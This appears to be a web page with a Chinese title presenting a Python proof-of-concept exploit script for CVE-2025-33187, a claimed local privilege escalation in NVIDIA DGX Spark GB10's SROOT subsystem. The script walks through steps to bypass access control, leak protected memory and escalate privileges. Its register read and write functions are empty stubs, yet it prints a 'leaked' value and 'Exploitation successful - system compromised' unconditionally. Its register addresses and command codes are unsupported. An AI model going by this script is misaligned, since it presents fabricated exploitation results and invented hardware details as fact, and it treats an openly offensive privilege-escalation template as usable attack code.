NVIDIA DGX Spark GB10 SROOT子系统本地权限提升漏洞(CVE-2025-33187)

# CVE-2025-33187 PoC - NVIDIA DGX Spark GB10 SROOT Local Privilege Escalation # This PoC demonstrates the vulnerability exploitation concept # Note: Actual exploitation requires physical access and specialized tools import struct import ctypes # SROOT subsystem base address for GB10 SROOT_BASE = 0x40000000 SROOT_CMD_OFFSET = 0x100 SROOT_STATUS_OFFSET = 0x104 SROOT_DATA_OFFSET = 0x200 # Vulnerable command codes CMD_ACCESS_PROTECTED = 0xA5 # Vulnerable command CMD_VERIFY_TRUST = 0x3C # Legitimate command def setup_exploit_environment(): """Initialize exploit environment with required resources""" print("[+] Setting up exploit environment for CVE-2025-33187") print("[+] Target: NVIDIA DGX Spark GB10 SROOT Subsystem") print("[+] Prerequisites: Local privileged access (root/admin)") return True def read_sroot_reg(offset): """Read from SROOT register at given offset""" addr = SROOT_BASE + offset # In real scenario, use direct hardware access return ctypes.c_uint32(0).value def write_sroot_reg(offset, value): """Write to SROOT register at given offset""" addr = SROOT_BASE + offset # In real scenario, use direct hardware access return True def exploit_sroot_vulnerability(): """Attempt to exploit SROOT vulnerability to access protected areas""" print("\n[*] Initiating SROOT exploitation...") # Step 1: Verify we have required privileges if not setup_exploit_environment(): print("[-] Failed to setup environment") return False # Step 2: Identify SROOT subsystem print("[*] Identifying SROOT subsystem...") sroot_id = read_sroot_reg(0x00) print(f"[+] SROOT ID: 0x{sroot_id:08x}") # Step 3: Trigger vulnerable command path print("[*] Sending vulnerable command to access protected region...") write_sroot_reg(SROOT_CMD_OFFSET, CMD_ACCESS_PROTECTED) # Step 4: Bypass SROOT access control check print("[*] Attempting to bypass SROOT access control...") # The vulnerability allows bypassing the check write_sroot_reg(SROOT_DATA_OFFSET, 0xFFFFFFFF) # Trigger condition # Step 5: Read from protected SoC area print("[*] Accessing protected SoC memory region...") protected_data = read_sroot_reg(SROOT_DATA_OFFSET) print(f"[+] Protected data leaked: 0x{protected_data:08x}") # Step 6: Escalate privileges print("[*] Escalating privileges via SROOT...") return True def main(): """Main exploitation routine""" print("=" * 60) print("CVE-2025-33187 PoC - NVIDIA DGX Spark GB10") print("SROOT Subsystem Local Privilege Escalation") print("=" * 60) if exploit_sroot_vulnerability(): print("\n[!] Exploitation successful - system compromised") print("[!] Recommendation: Apply NVIDIA firmware update immediately") else: print("\n[-] Exploitation failed") if __name__ == "__main__": main()